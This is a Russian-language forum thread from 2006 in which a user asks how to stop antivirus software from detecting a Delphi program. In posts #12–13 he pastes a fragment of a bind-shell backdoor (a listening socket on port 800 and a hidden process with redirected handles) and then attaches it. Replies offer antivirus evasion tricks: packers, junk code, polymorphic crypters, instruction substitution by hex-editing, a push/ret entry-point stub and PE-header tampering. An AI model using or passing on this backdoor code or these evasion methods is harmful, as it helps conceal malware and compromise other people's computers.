Сейчас на форуме: bartolomeo, hgdagon (+7 невидимых)

 eXeL@B —› Программирование —› Как скрыть код от антивируса.
. 1 . 2 . >>
Посл.ответ Сообщение

Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 15:46
· Личное сообщение · #1

Есть код для делфи, который надо вставить в программу, но антивирус этот код считает как вирус. Можно ли изменить код или программу, чтоб антивирус не ркгался.



Ранг: 186.8 (ветеран)
Активность: 0.040
Статус: Участник

Создано: 25 февраля 2006 18:03
· Личное сообщение · #2

Можно...



Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 18:04
· Личное сообщение · #3

MoonShiner пишет:
Можно...

А как?




Ранг: 221.8 (наставник)
Активность: 0.150
Статус: Участник

Создано: 25 февраля 2006 18:13
· Личное сообщение · #4

GAMe ovER пишет:
А как?

руками маленький любитель троянских лошадок ;)



Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 18:29
· Личное сообщение · #5

Red Bar0n пишет:
руками маленький любитель троянских лошадок ;)

Понятно, что не ногами...
Почему сразу троянских...
Тут кто-нить может НОРМАЛЬНО, как можно скрыть код от антивиря??????




Ранг: 116.7 (ветеран)
Активность: 0.10
Статус: Участник

Создано: 25 февраля 2006 18:39
· Личное сообщение · #6

Самой простой способ: запаковать каким-нибудь нераспространённым пакером/протектором.



Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 18:42
· Личное сообщение · #7

Mifodix
Вроде это кже не действует, покрайне мерее на Каспера. Да и каой нераспространеный




Ранг: 116.7 (ветеран)
Активность: 0.10
Статус: Участник

Создано: 25 февраля 2006 18:45
· Личное сообщение · #8

GAMe ovER, на твой вопрос не существует имхо простого решения, которое можно было изложить в одном посте. А расписывать тебе статьи, я думаю, никто не станет. Гугл в помощь!




Ранг: 221.8 (наставник)
Активность: 0.150
Статус: Участник

Создано: 25 февраля 2006 18:59
· Личное сообщение · #9

GAMe ovER
Др.Голова Писал ст0тью про это она все еще актуальна с небольшими изминениями.
все просто либо баловаться с кучей джампов и мусорным кодом либо юзать полиморф с метоморфом либо крипторы всякие и тд ;)



Ранг: 37.7 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 25 февраля 2006 19:09
· Личное сообщение · #10

game over, код в студию!



Ранг: 500.5 (!), 8thx
Активность: 0.230
Статус: Участник

Создано: 25 февраля 2006 19:10
· Личное сообщение · #11

И экспешнов парочку не забудь добавить для усиления эффекта =)

-----
"Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels




Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 19:22
· Личное сообщение · #12

WSAStartup($202, WSAData);
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(800);
bind(FSocket, SockAddrIn, 16);
listen(FSocket, 0);



Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 19:25
· Личное сообщение · #13

while true do
begin
sHandle := accept(FSocket, nil, 0); // ожидаем соединения
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;



Ранг: 37.7 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 25 февраля 2006 19:29
· Личное сообщение · #14

хм, чё-то не вериццо, что данный код классифицируецца как заражённый, выкладывай проект, скомпилим посмотрим



Ранг: 45.5 (посетитель)
Активность: 0.050
Статус: Участник

Создано: 25 февраля 2006 19:33
· Личное сообщение · #15

короче, у меня отказ в доступе, при отправке остальной части, так что отсылаю исходники данного кода

0fe2_bind_shell.rar.zip



Ранг: 4.6 (гость)
Активность: 0=0
Статус: Участник

Создано: 25 февраля 2006 21:32 · Поправил: fenix
· Личное сообщение · #16

Если хочешь скрыть вирь от анти тогда прочти книгу Криса Касперский комьпютерные вирусы взгляд изнутри и снаружи Yandex тебе в помошь!!!! В инете ее точно можно скачать!!!!




Ранг: 111.1 (ветеран)
Активность: 0.040
Статус: Участник

Создано: 01 марта 2006 00:04
· Личное сообщение · #17

На сайте uinc.ru была статья "Как обойти AVP". Вот ссылка:
<url>hxxp://www.uinc.ru/articles/11/</url>

-----
The truth is out of there...




Ранг: 78.3 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 01 марта 2006 00:27
· Личное сообщение · #18

Red Bar0n пишет:
Др.Голова Писал ст0тью про это она все еще актуальна с небольшими изминениями.

Гы, т.е он писал как отыметь свою же контору ?




Ранг: 221.8 (наставник)
Активность: 0.150
Статус: Участник

Создано: 01 марта 2006 00:41
· Личное сообщение · #19

fakit пишет:
Гы, т.е он писал как отыметь свою же контору ?

0га именно так, и именно про антивирус касперского.



Ранг: 60.4 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 10 марта 2006 18:02
· Личное сообщение · #20

GAMe ovER можно попробовать посмотреть код дизассемблером и поменять используемые группы команд шестнадцатиричным редактором. Это может сбить с толку сравниватель сигнатур антивирусника



Ранг: 71.6 (постоянный)
Активность: 0.060
Статус: Участник

Создано: 10 марта 2006 22:23
· Личное сообщение · #21

Vedrus пишет:
GAMe ovER можно попробовать посмотреть код дизассемблером и поменять используемые группы команд шестнадцатиричным редактором. Это может сбить с толку сравниватель сигнатур антивирусника



ЛОЛ, и думаешь если ты так над екзешником поиздеваешься, он запуститься???



Ранг: 111.4 (ветеран)
Активность: 0.060
Статус: Участник

Создано: 10 марта 2006 22:36
· Личное сообщение · #22

Vedrus пишет:
GAMe ovER можно попробовать посмотреть код дизассемблером и поменять используемые группы команд шестнадцатиричным редактором. Это может сбить с толку сравниватель сигнатур антивирусника

Собсно ниче нового ты тока что не сказал)
agentru пишет:
ЛОЛ, и думаешь если ты так над екзешником поиздеваешься, он запуститься???

Куда он денеться, если ты правильно все сделаешь.



Ранг: 60.4 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 11 марта 2006 03:26
· Личное сообщение · #23

agentru, а что здесь такого? Просто надо внести изменения так, чтобы размер остался тот же и не накасячить с переходами. Я как-то делал врезку в DLL и посложнее, она как не странно работала.



Ранг: 71.6 (постоянный)
Активность: 0.060
Статус: Участник

Создано: 11 марта 2006 22:44
· Личное сообщение · #24

Vedrus пишет:
а что здесь такого? Просто надо внести изменения так, чтобы размер остался тот же и не накасячить с переходами. Я как-то делал врезку в DLL и посложнее, она как не странно работала.


Я понял о чём ты, взять попереписывать код и на него джамп поставить.....



Ранг: 60.4 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 12 марта 2006 04:08
· Личное сообщение · #25

Совсем не обязательно. Просто ведь есть взаимозаменяемые команды. Этим и можно воспользоваться.



Ранг: 3.1 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 марта 2006 11:37
· Личное сообщение · #26

А если у антивиря эвристика включена Или как пробку не учи, а трояна все равно подсадим?



Ранг: 60.4 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 12 марта 2006 13:42
· Личное сообщение · #27

В какой-то статье читал (пока не могу её найти), что эвристику можно заглушить так:
На точку входа ставится такая штука:

push addr
ret
addr:




Ранг: 352.4 (мудрец), 4thx
Активность: 0.150
Статус: Участник
retired

Создано: 12 марта 2006 16:05
· Личное сообщение · #28

что-то мне подсказывает, что такая банальность не прокатит



Ранг: 3.1 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 марта 2006 16:14
· Личное сообщение · #29

У др.Головы спроси, может под пытками что нить посоветует =)))



Ранг: 60.4 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 12 марта 2006 18:43
· Личное сообщение · #30

Можно ещё попробовать поглумиться над PE-заголовком, эвристики этого не любят.


. 1 . 2 . >>
 eXeL@B —› Программирование —› Как скрыть код от антивируса.
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати